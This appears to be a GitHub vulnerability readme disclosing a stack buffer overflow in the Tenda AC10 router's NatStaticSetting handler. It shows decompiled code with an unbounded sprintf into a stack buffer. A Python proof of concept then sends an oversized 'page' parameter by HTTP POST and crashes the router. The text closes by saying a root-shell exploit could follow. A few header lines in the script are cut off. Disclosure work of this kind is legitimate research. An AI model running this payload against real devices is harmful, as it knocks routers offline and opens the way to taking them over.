ᛦ main ▾   ···

IOT_Vul / Tenda / AC10 / fromNatStaticSetting / **readme.md**

z1r00 Update readme.md   ⟲ History

 captured 1 contributor

≣   63 lines (41 sloc) │ 1.76 KB   ···

Tenda AC10V15.03.06.23 Stack overflow vulnerability

Firmware information

- Manufacturer's address：https://www.tenda.com.cn/

- Firmware download address：https://www.tenda.com.cn/download/detail-2734.html

Affected version

Vulnerability details

```
 2 {
 3    char_t *en; // [sp+18h] [+18h]
 4    const char *page; // [sp+1Ch] [+1Ch]
 5    const char *op; // [sp+20h] [+20h]
 6    char *str; // [sp+24h] [+24h]
 7    char_t gotopage[256]; // [sp+28h] [+28h] BYREF
 8
 9    str = websGetVar(wp, "entrys", byte_510818);
10    op = websGetVar(wp, "op", "no");
11    save_list_data("adv.snat", str, 126);
12    page = websGetVar(wp, "page", "1");
13    sprintf(gotopage, "nat_static.asp?page=%s", page);// vuln overflow
14    if ( strncmp(op, "add", 3u) && strncmp(op, "edit", 4u) )
15    {
16       en = websGetVar(wp, "isoncheck", "0");
17       SetValue("adv.snat.en", en);
18    }
19    if ( CommitCfm() )
20       PostMsgToNetctrl(34);
21    websRedirect(wp, gotopage);
22 }
```

/goform/NatStaticSetting, It can be seen that the page is controlled by the user, and will be spliced into the gotopage with sprintf. It is worth noting that there is no size limit to cause stack overflow.

Poc

```python
import socket
import os
```

```python
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80

r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

r.connect((ip, port))

rn = b'\r\n'

p1 = b'a' * 0x300
p2 = b'page=' + p1

p3 = b"POST /goform/NatStaticSetting" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + r
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

You can see the router crash, and finally we can write an exp to get a root shell